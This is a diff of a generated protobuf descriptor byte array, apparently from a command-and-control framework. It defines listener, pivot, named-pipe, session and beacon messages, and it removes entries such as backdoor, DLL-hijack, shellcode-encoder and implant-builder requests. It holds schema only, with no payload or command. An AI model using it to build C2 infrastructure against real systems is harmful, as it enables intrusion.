+ 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x52, 0x09, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x43,
+ 0x6f, 0x6e, 0x66, 0x22, 0x40, 0x0a, 0x16, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x61, 0x79,
+ 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a,
+ 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73,
+ 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52,
+ 0x04, 0x50, 0x6f, 0x72, 0x74, 0x22, 0x39, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73,
+ 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74,
+ 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04,
+ 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74,
+ 0x22, 0x7d, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65,
+ 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e,
+ 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12,
+ 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05,
+ 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74,
+ 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x22,
+ 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52,
+ 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20,
+ 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08,
+ 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08,
+ 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74,
+ 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04,
+ 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74,
+ 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06,
+ 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50,
+ 0x22, 0xd5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65,
+ 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, 0x04,
+ 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74,
+ 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04,
+ 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, 0x04,
+ 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07,
+ 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x57,
+ 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x06,
+ 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65,
+ 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04,
+ 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45,
+ 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x0a,
+ 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50,
+ 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65,
+ 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50,
+ 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f,
+ 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01,
+ 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74,
+ 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a,
+ 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f,
+ 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65,
+ 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70,
+ 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70,
+ 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
+ 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
+ 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65,
+ 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73,
+ 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72,
+ 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08,
+ 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12,
+ 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
+ 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b,
+ 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41,
+ 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64,
+ 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65,
- 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12,
- 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28,
- 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73,
- 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22,
- 0x8c, 0x01, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12,
- 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50,
- 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a,
- 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d,
- 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01,
- 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65,
- 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a,
- 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65,
+ 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18,
+ 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52,
+ 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18,
+ 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65,
0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63,
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,
- 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53,
- 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65,
- 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68,
- 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07,
- 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69,
- 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41,
- 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49,
- 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52,
- 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42,
- 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42,
- 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18,
- 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52,
- 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52,
- 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c,
- 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44,
- 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12,
- 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28,
- 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73,
- 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22,
- 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63,
- 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64,
- 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e,
- 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72,
- 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73,
- 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72,
- 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03,
- 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01,
- 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68,
- 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05,
- 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x7c, 0x0a, 0x13, 0x45, 0x78, 0x74,
- 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71,
- 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b,
- 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c,
- 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69,
- 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65,
- 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e,
- 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64,
- 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18,
- 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65,
- 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12,
- 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61,
- 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61,
- 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74,
- 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f,
- 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52,
- 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18,
- 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73,
- 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28,
- 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d,
- 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72,
- 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d,
- 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d,
- 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70,
- 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x41, 0x0a, 0x0d, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43,
- 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67,
- 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52,
- 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x43, 0x32, 0x50, 0x72,
- 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
- 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x63, 0x0a, 0x0f,
- 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x12,
- 0x1c, 0x0a, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, 0x69, 0x74, 0x65, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x08, 0x52, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, 0x69, 0x74, 0x65, 0x12, 0x32, 0x0a,
- 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32,
- 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43,
- 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69,
- 0x67, 0x22, 0xd3, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66,
- 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02,
- 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20,
- 0x01, 0x28, 0x03, 0x52, 0x07, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04,
+ 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65,
+ 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f,
+ 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73,
+ 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52,
+ 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44,
+ 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04,
0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65,
- 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
- 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
